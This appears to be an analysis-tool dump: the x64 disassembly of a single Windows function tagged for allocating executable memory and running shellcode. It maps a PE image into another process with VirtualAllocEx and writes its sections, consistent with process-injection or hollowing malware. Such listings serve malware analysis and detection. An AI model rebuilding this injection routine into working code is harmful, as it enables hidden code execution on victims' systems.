Function at 0x1400e14d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0xf0]
xor eax, eax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x58], rax
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rsi, rdx
call fcn.140074f40
mov rcx, rax
call fcn.1400b9dd0
mov qword [rbp - 0x78], rax
xor ecx, ecx
mov dword [rbp - 0x3c], ecx
lea rcx, [0x1401a08f8]
call fcn.140002250
mov rdi, rax
lea rcx, [rdi + 8]
mov rdx, qword [rbp + 0x10]
call fcn.1400035c0
lea rdx, [0x140212768]
mov qword [rdi + 0x10], rdx
xor edx, edx
mov qword [rdi + 0x20], rdx
mov qword [rdi + 0x28], rdx
mov byte [rdi + 0x3c], 0
mov dword [rdi + 0x38], 4
mov qword [rdi + 0x30], rdx
lea rcx, [rdi + 0x18]
mov rdx, qword [rbp - 0x78]
call fcn.1400035c0
xor ecx, ecx
xorps xmm0, xmm0
movups xmmword [rdi + 0x40], xmm0
mov qword [rdi + 0x50], rcx
mov rcx, rdi
call fcn.1400e13f0
mov rbx, qword [rdi + 0x40]
mov rdi, qword [rdi + 0x48]
mov ecx, dword [rsi + 8]
cmp ecx, 0x3c
jbe 0x1400e187c
movzx r14d, byte [rsi + 0x4c]
cmp ecx, 0x3d
jbe 0x1400e187c
movzx r15d, byte [rsi + 0x4d]
shl r15d, 8
or r14d, r15d
cmp ecx, 0x3e
jbe 0x1400e187c
movzx r15d, byte [rsi + 0x4e]
shl r15d, 0x10
or r14d, r15d
cmp ecx, 0x3f
jbe 0x1400e187c
movzx r15d, byte [rsi + 0x4f]
shl r15d, 0x18
or r14d, r15d
lea edx, [r14 + 0x34]
cmp edx, ecx
jae 0x1400e187c
mov edx, edx
movzx r15d, byte [rsi + rdx + 0x10]
lea edx, [r14 + 0x35]
cmp edx, ecx
jae 0x1400e187c
mov edx, edx
movzx r12d, byte [rsi + rdx + 0x10]
shl r12d, 8
or r15d, r12d
lea edx, [r14 + 0x36]
cmp edx, ecx
jae 0x1400e187c
mov edx, edx
movzx r12d, byte [rsi + rdx + 0x10]
shl r12d, 0x10
or r15d, r12d
lea edx, [r14 + 0x37]
cmp edx, ecx
jae 0x1400e187c
mov ecx, edx
movzx r12d, byte [rsi + rcx + 0x10]
shl r12d, 0x18
or r15d, r12d
lea rcx, [0x1401c6930]
mov edx, 0xb3
call fcn.140002370
mov r12, rax
mov qword [rbp - 0x80], r12
mov dword [r12 + 0x10], 0x10002
mov rcx, rdi
mov rdx, r12
call fcn.1400e10c0
test eax, eax
je 0x1400e1944
mov r13d, dword [r12 + 0xb4]
test r15d, r15d
je 0x1400e191d
lea edx, [r14 + 0x50]
mov rcx, rsi
call fcn.14007d1b0
mov dword [rbp - 0x40], eax
lea edx, [r14 + 0x54]
mov rcx, rsi
call fcn.14007d1b0
mov dword [rbp - 0x44], eax
mov dword [rsp + 0x20], 0x40
mov rcx, rbx
mov qword [rbp - 0x9c], rcx
mov edx, r15d
mov dword [rbp - 0x8c], edx
mov r8d, dword [rbp - 0x40]
mov dword [rbp - 0x90], r8d
mov r9d, 0x3000
mov dword [rbp - 0x94], r9d
lea rcx, [rbp - 0xc8]
call fcn.140002d50
mov rcx, qword [rbp - 0x9c]
mov edx, dword [rbp - 0x8c]
mov r8d, dword [rbp - 0x90]
mov r9d, dword [rbp - 0x94]
call sub.KERNEL32.DLL_VirtualAllocEx
mov esi, eax
lea rcx, [rbp - 0xc8]
call fcn.140002da0
test esi, esi
je 0x1400e18f6
lea rdx, [rbp - 0x58]
mov qword [rsp + 0x20], rdx
movsxd rdx, esi
mov rcx, rbx
mov r8, qword [rbp + 0x18]
mov r9d, dword [rbp - 0x44]
call fcn.1400e0ee0
test eax, eax
jne 0x1400e18cf
lea r15d, [r14 + 0xf8]
lea edx, [r14 + 6]
mov rcx, qword [rbp + 0x18]
call fcn.14007d160
mov r12d, eax
xor eax, eax
mov dword [rbp - 0x5c], eax
test r12d, r12d
jle 0x1400e1803
lea edx, [r15 + 0xc]
mov rcx, qword [rbp + 0x18]
call fcn.14007d1b0
mov dword [rbp - 0x60], eax
lea edx, [r15 + 0x10]
mov rcx, qword [rbp + 0x18]
call fcn.14007d1b0
mov dword [rbp - 0x64], eax
lea edx, [r15 + 0x14]
mov rcx, qword [rbp + 0x18]
call fcn.14007d1b0
mov dword [rbp - 0x68], eax
mov edx, dword [rbp - 0x64]
test edx, edx
je 0x1400e17ee
movsxd rdx, edx
lea rcx, [0x1401c66e0]
call fcn.140002370
mov qword [rbp - 0x88], rax
mov r10d, dword [rax + 8]
mov dword [rbp - 0x6c], r10d
mov dword [rsp + 0x20], r10d
mov rcx, qword [rbp + 0x18]
mov edx, dword [rbp - 0x68]
mov r8, rax
xor r9d, r9d
call fcn.1400736f0
lea rdx, [rbp - 0x58]
mov qword [rsp + 0x20], rdx
mov edx, dword [rbp - 0x60]
add edx, esi
movsxd rdx, edx
mov r9d, dword [rbp - 0x6c]
mov rcx, rbx
mov r8, qword [rbp - 0x88]
call fcn.1400e0ee0
test eax, eax
jne 0x1400e196b
add r15d, 0x28
mov eax, dword [rbp - 0x5c]
inc eax
cmp eax, r12d
mov dword [rbp - 0x5c], eax
jl 0x1400e1756
lea rcx, [0x1401c66e0]
mov edx, 4
call fcn.140002370
mov dword [rax + 0x10], esi
lea rdx, [rbp - 0x58]
mov qword [rsp + 0x20], rdx
add r13d, 8
movsxd rdx, r13d
mov rcx, rbx
mov r8, rax
mov r9d, 4
call fcn.1400e0ee0
test eax, eax
jne 0x1400e18a8
lea edx, [r14 + 0x28]
mov rcx, qword [rbp + 0x18]
call fcn.14007d1b0
add eax, esi
mov r12, qword [rbp - 0x80]
mov dword [r12 + 0xc0], eax
mov rcx, rdi
mov rdx, r12
call fcn.1400e1030
test eax, eax
je 0x1400e1881
xor edx, edx
mov dword [rbp - 0x50], edx
lea rdx, [rbp - 0x50]
mov rcx, rdi
call fcn.1400e0fb0
jmp 0x1400e19a9
call fcn.1400ccd30
lea rcx, [0x140196570]
call fcn.140002250
mov rdi, rax
call fcn.1400db190
mov rdx, rax
mov rcx, rdi
call fcn.14007abf0
mov rcx, rdi
call fcn.140002eb0
lea rcx, [0x140196570]
call fcn.140002250
mov rdi, rax
call fcn.1400db0e0
mov rdx, rax
mov rcx, rdi
call fcn.14007abf0
mov rcx, rdi
call fcn.140002eb0
lea rcx, [0x140196570]
call fcn.140002250
mov rdi, rax
call fcn.1400daf80
mov rdx, rax
mov rcx, rdi
call fcn.14007abf0
mov rcx, rdi
call fcn.140002eb0
lea rcx, [0x140196570]
call fcn.140002250
mov rdi, rax
call fcn.1400daed0
mov rdx, rax
mov rcx, rdi
call fcn.14007abf0
mov rcx, rdi
call fcn.140002eb0
lea rcx, [0x140196570]
call fcn.140002250
mov rdi, rax
call fcn.1400dae20
mov rdx, rax
mov rcx, rdi
call fcn.14007abf0
mov rcx, rdi
call fcn.140002eb0
lea rcx, [0x140196570]
call fcn.140002250
mov rdi, rax
call fcn.1400dad70
mov rdx, rax
mov rcx, rdi
call fcn.14007abf0
mov rcx, rdi
call fcn.140002eb0
lea rcx, [0x140196570]
call fcn.140002250
mov rdi, rax
call fcn.1400db030
mov rdx, rax
mov rcx, rdi
call fcn.14007abf0
mov rcx, rdi
call fcn.140002eb0
int3
add rsp, 0xb8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret